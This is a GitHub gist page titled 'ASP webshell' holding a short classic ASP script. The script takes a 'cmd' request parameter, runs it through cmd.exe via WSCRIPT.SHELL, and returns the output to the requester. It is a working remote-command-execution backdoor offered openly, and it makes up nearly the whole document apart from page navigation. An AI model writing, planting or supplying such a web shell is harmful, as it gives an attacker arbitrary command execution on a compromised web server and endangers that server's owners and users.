Skip to content

Instantly share code, notes, and snippets.

@ahhh
Last active November 20, 2017 05:23
Show Gist options
  • Save ahhh/214b2028fcac6fea2175 to your computer and use it in GitHub Desktop.
Save ahhh/214b2028fcac6fea2175 to your computer and use it in GitHub Desktop.
ASP webshell
<%
szCMD = request("cmd")
Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = Server.CreateObject("Scripting.FileSystemObject").OpenTextFile (szTempFile, 1, False, 0)
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call Server.CreateObject("Scripting.FileSystemObject").DeleteFile(szTempFile, True)
%>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment